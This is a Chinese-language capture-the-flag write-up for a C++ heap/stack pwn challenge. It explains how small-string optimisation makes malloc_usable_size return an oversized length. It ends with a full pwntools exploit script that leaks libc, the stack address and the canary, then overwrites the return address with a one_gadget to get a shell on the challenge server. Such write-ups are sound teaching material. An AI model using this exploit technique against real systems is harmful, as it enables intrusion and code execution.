首先打開 ida -> F5 發現這是個 C++ 的題目
然後我就放棄了 阿不是,接著就是開始進行累人的分析,把他轉回正常人可以閱讀的語法,不過還好同隊的 @Jesse 大大在我分析到一半時就搞定了(跪),以下是分析的結果
class Profile {
public:
std::string msg; // +0
int age; // +16
std::string name; // +32
static void set_age(int _age) { age = _age; }
static void set_name(std::string& _name) { this.name = _name; }
static void set_msg(std::string& _msg) { this.msg = _msg; }
static void show() {
std::cout << "Name : " << this.name << std::endl;
std::cout << "Age : " << this.age << std::endl;
std::cout << "Msg : " << this.msg << std::endl;
}
static void update_msg() {
char *ptr = this.msg.c_str();
size_t size = malloc_usable_size(ptr);
if ( size == 0 ) {
std::cout << "Unable to update message." << std::endl;
}
else {
std::cout << "Input new message >> ";;
result = getn(ptr, size);
}
}
}
int main(int argc, const char **argv, const char **envp) {
std::string buf; // [rsp+Ch] [rbp-C4h]
Profile prof(); // [rbp-60h]
std::cout << "Please introduce yourself!" << std::endl;
std::cout << "Name >> ";
std::cin >> buf;
prof.set_name(buf);
std::cout << "Age >> ";
std::cin >> buf;
prof.set_age(buf);
std::cout << "Message >> ";
std::cin >> buf;
prof.set_msg(buf);
do {
std::cout << std::endl << "1 : update message";
std::cout << std::endl << "2 : show profile";
std::cout << std::endl << "0 : exit";
std::cout << std::endl << ">> ";
std::cin >> buf;
getchar();
if ( buf == 1 ) {
prof.update_msg();
}
else if ( buf == 2 ) {
prof.show();
}
else {
std::cout << "Wrong input..." << std::endl;
}
}
while(buf);
return 0;
}
先做個初步分析,Profile prof()
是被放在 stack 上,而我們可控的輸入應該會被放在 heap 上,所以看起來這應該是個 heap 題。再來可以看出整段程式碼最奇怪的部分是這段,使用了一個沒看過的函數 malloc_usable_size
char *ptr = this.msg.c_str();
size_t size = malloc_usable_size(ptr);
查閱 man 後得知這個 function 會回傳該 chunk 中可以使用的大小,雖然因為 malloc 本身有做 alignment 回傳的值可能會超出當初 malloc 的大小,但乍看之下沒啥大問題,總之我決定先直接玩玩看這隻程式
result = getn(ptr, size);
應該限制了我的輸入大小才對接著用 gdb 去追錯誤發生的原因,結果又更令人匪夷所思了
仔細檢查之後發現原本應該要在 heap 上的 string 其實是被放在 stack 上!
prof 的 address 是 rbp-0x60,在這邊是 0x7fffffffddb0
重新回想一下 Profile class 內的成員
std::string msg; // +0
std::string name; // +16
int age; // +32
不難看出被放在 stack 上的 std::string 的結構如下
char *ptr; // ptr == str
int len;
char str[len];
但為甚麼 string 沒有被放到 heap 上而是 stack 上呢?
這是因為 C++ 中引入了一個優化技巧 SSO(Small String Optimization) 來降低 malloc 的使用次數。
這同時可以解釋 malloc_usable_size
到底為甚麼回傳了比原本大的 size
以下節錄 malloc_usable_size
中較重要的一段
if (mem != 0)
{
p = mem2chunk (mem);
if (__builtin_expect (using_malloc_checking == 1, 0))
return malloc_check_get_size (p);
if (chunk_is_mmapped (p))
{
if (DUMPED_MAIN_ARENA_CHUNK (p))
return chunksize (p) - SIZE_SZ;
else
return chunksize (p) - 2 * SIZE_SZ;
}
else if (inuse (p))
return chunksize (p) - SIZE_SZ;
}
根據剛剛的 std::string
結構,可以想見 chunksize (p)
拿到的會是該 string 的長度,也就是說當 string 的長度小於 SIZE_SZ
(在 64bit 下為 8) 時,將會返回一個極大的數,也就可以造成 overflow。
接下來的 exploit 就簡單了,透過 overflow 控制 prof.name
的 ptr 指標來 leak libc, stack, canary,最後接 one_gadget 即可。
#!/usr/bin/env python2
from pwn import *
#r = remote('localhost', 4000)
r = remote('profile.pwn.seccon.jp', 28553)
libc = ELF('./libc.so.6')
read_got = 0x602028
# make length of name == 8 to leak exactly 8 byte
r.sendlineafter('>> ', 'A'*8)
r.sendlineafter('>> ', '88888888')
r.sendlineafter('>> ', 'C')
r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(read_got))
r.sendlineafter('>> ', '2')
r.recvuntil('ame : ')
leak = u64(r.recvn(8))
libc.address = leak - libc.symbols['read']
one_gadget = libc.address + 0x45216
print hex(libc.address)
r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(libc.symbols['environ']))
r.sendlineafter('>> ', '2')
r.recvuntil('ame : ')
leak = u64(r.recvn(8))
rbp = leak - 0xf8
buf = leak - 0x128
print hex(rbp)
r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(rbp-0x18))
r.sendlineafter('>> ', '2')
r.recvuntil('ame : ')
canary = u64(r.recvn(8))
print hex(canary)
r.sendlineafter('>> ', '1')
r.sendlineafter('>> ', 'C'*16+p64(buf)+p64(8)+'A'*24+p64(canary)+'A'*24+p64(one_gadget))
r.sendlineafter('>> ', '0')
r.interactive()